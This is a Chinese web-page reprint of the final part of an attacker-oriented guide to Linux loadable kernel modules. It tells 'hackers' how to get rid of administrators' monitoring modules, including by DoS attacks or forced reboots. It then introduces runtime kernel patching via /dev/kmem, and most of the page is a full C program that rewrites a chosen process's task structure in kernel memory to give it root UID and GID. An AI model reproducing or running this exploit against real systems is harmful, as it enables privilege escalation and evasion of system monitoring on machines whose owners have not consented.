首页 | Linux 基础 | 资讯动态 | Linux 应用 | Linux 服务器 | Linux 开发 | Linux 安全 | 专题 | 联盟论坛
  当前位置:主页>Linux 开发>linux 内核>文章内容
Linux系统可卸载内核模块完全指南(下)
来源:www.unix5.com 作者:riechelr_hl 发布时间:2007-06-06  

在前面的文章中我们已经讲了Linux系统可卸载内核模块完全指南(上)Linux系统可卸载内核模块完全指南(中)今天我们讲解Linux可卸载内核模块完全指南的最后一部份。

第四部分 一些更好的想法

4.1 击败系统管理员的LKM的方法

这一部分会给我们对付一些使用LKM保护内核的多疑(好的)的管理员的方法。在解释了所有系统管理员能够使用的方法之后,很难为我们(hackers)找到一个更好的办法。我们需要离开LKM一会儿,来寻找击败这些困难的保护的方法。

假定一个系统可以被管理员安装上一个十分好的大范围的监视的LKM,他可以检查那个系统的每一个细节。他可以做到第二或者第三部分提到的所有事情。

第一种除掉这些LKM的方法可以是重新启动系统。也许管理员并没有在启动文件里面加载这些LKM。因此,试一些DoS攻击或者其他的。如果你还不能除去这个LKM就看看其他的一些重要文件。但是要仔细,一些文件有可能是被保护或者监视的(见附录A,里面有一个类似的LKM)。

假如你真的找不到LKM是在那里加载的等等,不要忘记系统是已经安装了一个后门的。这样你就不可以隐藏文件或者进程了。但是如果一个管理员真正使用了这么一个超级的LKM,忘记这个系统吧。你可能遇到真正的好的对手并且把会有麻烦。对于那些确实想击败这个系统的,读第二小节。

4.2 修补整个内核-或者创建Hacker-OS

[注意:这一节听上去可能有一些离题了。但是在最后我会给出一个很漂亮的想法(Silvio Cesare写的程序也可以帮助我们使用我们的LKM。这一节只会给出整个内核问题的一个大概的想法,因为我只需要跟随Sivio Cesare的想法]

OK,LKM是很好的。但是如果系统管理员喜欢在5。1中提到的想法。他做了很多来阻止我们使用我们在第二部分学到的美妙的LKM技术。他甚至修补他自己的内核来使他的系统安全。他使用一个不需要LKM支持的内核。

因此,现在到了我们使用我们最后一招的时候了:运行时内核补丁。最基本的想法来自我发现的一些源程序(比如说Kmemthief),还有Silvio Cesare的一个描述怎么样改变内核符号的论文。

在我看来,这种攻击是一种很强大的'内核入侵'。我并不是懂得每一个Un*x,但是这种方法可以在很多系统上使用。这一节描述的是运行时内核补丁。但是为什么不谈谈内核文件补丁呢?每一个系统有一个文件来代表内核,在免费的系统中,像FreeBSD,Linux,改变一个内核文件是很容易的。但是在商业系统中呢?我从来没有试过。

但是我想这会是很有趣的:想象通过一个内核的补丁作为系统的后门.你只好重新启动系统或者等待一次启动。每个系统都需要启动。但是这个教材只会处理运行时的补丁方式。你也许说这个教材叫入侵Linux可卸载内核模块,并且你不想知道怎么样补丁整个内核。好的,这一节把会教会我们怎么样'insmod'LKM到一个十分安全的,或者没有LKM支持的系统。因此我们还是学到了一些和LKM有关的东西了。

因此,让我们开始我们最为重要的必须处理的东西,如果我们想学习RKP(Runtime Kernel Patching)的话。这就是/dev/kmem文件。他可以帮助我们看到(并且更改)整个我们的系统的虚拟内存。[注意:这个RKP方法在通常情况下是十分有用的,如果你控制了那个系统以后。只有非常不安全的系统才会让普通用户存取那个文件]。

正如我所说的,/dev/kmem可以使我们有机会看到我们系统中的每一个内存字节(包括swap)。这意味着我们可以存取整个内存,这就允许我们操纵内存中的每一个内核元素。(因为内核只是加载到系统内存的目标代码)。记住/proc/ksyms文件记录了每一个输出的内核符号的地址。

因此我们知道怎么样才能通过更改内存来控制一些内核符号。下面让我们来看看一个很早就知道的很基本的例子。下面的(用户空间)的程序获得了task_structure的地址和某一个PID.在搜索了代表某个PID的任务结构以后,他改变了每个用户的ID域使得UID=0。当然,今天这样的程序是毫无用处的。因为绝大多数的系统不会允许一个普通的用户去读取/dev/kmem。但是这是一个关于RKP的好的介绍。

/*注意:我没有实现错误检查*/ 

#include <stdio.h> 

#include <stdlib.h> 

#include <unistd.h> 

#include <fcntl.h> 


/*我们想要改变的任务结构的最大数目*/ 

#define NR_TASKS 512 


/*我们的任务结构-〉我只使用了我们需要的那部分*/ 

struct task_struct { 

char a[108];       /*我们不需要的*/ 

int pid; 

char b[168];       /*我们不需要的*/ 

unsigned short uid,euid,suid,fsuid; 

unsigned short gid,egid,sgid,fsgid; 

char c[700];       /*我们不需要的*/ 

}; 


/*下面是原始的任务结构,
你可以看看还有其他的什么是你可以改变的 

struct task_struct { 

volatile long state; 

long counter; 

long priority; 

unsigned long signal; 

unsigned long blocked; 

unsigned long flags; 

int errno; 

long debugreg[8]; 

struct exec_domain *exec_domain; 

struct linux_binfmt *binfmt; 

struct task_struct *next_task, *prev_task; 

struct task_struct *next_run, *prev_run; 

unsigned long saved_kernel_stack; 

unsigned long kernel_stack_page; 

int exit_code, exit_signal; 

unsigned long personality; 

int dumpable:1; 

int did_exec:1; 

int pid; 

int pgrp; 

int tty_old_pgrp; 

int session; 

int leader; 

int groups[NGROUPS]; 

struct task_struct *p_opptr, *p_pptr, *p_cptr, *p_ysptr, *p_osptr; 

struct wait_queue *wait_chldexit; 

unsigned short uid,euid,suid,fsuid; 

unsigned short gid,egid,sgid,fsgid; 

unsigned long timeout, policy, rt_priority; 

unsigned long it_real_value, it_prof_value, it_virt_value; 

unsigned long it_real_incr, it_prof_incr, it_virt_incr; 

struct timer_list real_timer; 

long utime, stime, cutime, cstime, start_time; 

unsigned long min_flt, maj_flt, nswap, cmin_flt, cmaj_flt, cnswap; 

int swappable:1; 

unsigned long swap_address; 

unsigned long old_maj_flt; 

unsigned long dec_flt; 

unsigned long swap_cnt; 

struct rlimit rlim[RLIM_NLIMITS]; 

unsigned short used_math; 

char comm[16]; 

int link_count; 

struct tty_struct *tty; 

struct sem_undo *semundo; 

struct sem_queue *semsleeping; 

struct desc_struct *ldt; 

struct thread_struct tss; 

struct fs_struct *fs; 

struct files_struct *files; 

struct mm_struct *mm; 

struct signal_struct *sig; 

#ifdef __SMP__ 

int processor; 

int last_processor; 

int lock_depth; 

#endif 

}; 

*/ 


int main(int argc, char *argv[]) 

{ 

unsigned long task[NR_TASKS]; 

/*用于特定PID的任务结构*/ 

struct task_struct current; 

int kmemh; 

int i; 

pid_t pid; 

int retval; 


pid = atoi(argv[2]); 


kmemh = open("/dev/kmem", O_RDWR); 


/*找到第一个任务结构的内存地址*/ 

lseek(kmemh, strtoul(argv[1], NULL, 16), SEEK_SET); 

read(kmemh, task, sizeof(task)); 


/*遍历知道我们找到我们的任务结构(由PID确定)*/ 

for (i = 0; i < NR_TASKS; i++) 

{ 

lseek(kmemh, task[i], SEEK_SET); 

read(kmemh, ¤t, sizeof(current)); 

/*是我们的进程么*/ 

if (current.pid == pid) 

{ 

/*是的,因此改变UID域。。。。*/ 

current.uid = current.euid = 0; 

current.gid = current.egid = 0; 

/*写回到内存*/ 

lseek(kmemh, task[i], SEEK_SET); 

write(kmemh, ¤t, sizeof(current)); 

printf("Process was found and task structure was modified\n"); 

exit(0); 

} 

} 

}

共4页: 上一页 1 [2] [3] [4] 下一页
 
如果您对本文有任何疑问或者建议,请到论坛讨论区发表您的意见: >> 论坛入口
[收藏] [推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
  热点文章
·使用 Linux 系统调用的内核命令
·Linux 2.6.11内核文件IO系统调用
·Linux操作系统的源代码目录树结
·Linux用户态与内核态的交互讲解
·Linux内核对I/O端口的管理实现(
·深入分析 Linux操作系统的内核链
·Linux内核可装载模块对设备驱动
·概述Linux系统的驱动框架及驱动
·详解Linux 2.6内核新文件系统变
·Linux系统可卸载内核模块完全指
·FreeBSD手册讲解(一)--配置FreeB
·编译Linux操作系统的内核讲解
  相关文章
·Linux系统可卸载内核模块完全指
·详解Linux 2.6内核新文件系统变
·Linux系统可卸载内核模块完全指
·Linux系统内核模块和驱动的编写
·内核设计篇
·Linux内核对I/O端口的管理实现(
·Linux内核对I/O端口的管理实现(
·使用 Linux 系统调用的内核命令
·Linux 和对称多处理
·使用 SystemTap 调试内核
·Linux操作系统的源代码目录树结
·Linux内核入侵检测安全增强实现

本站信息源至:互联网络,均为学习,交流所用,如有版权问题,请联系我们.
站长QQ:397422079 E_mail:riechelr_hl@unix5.com
转载本站内容请注明原作者名.谢谢!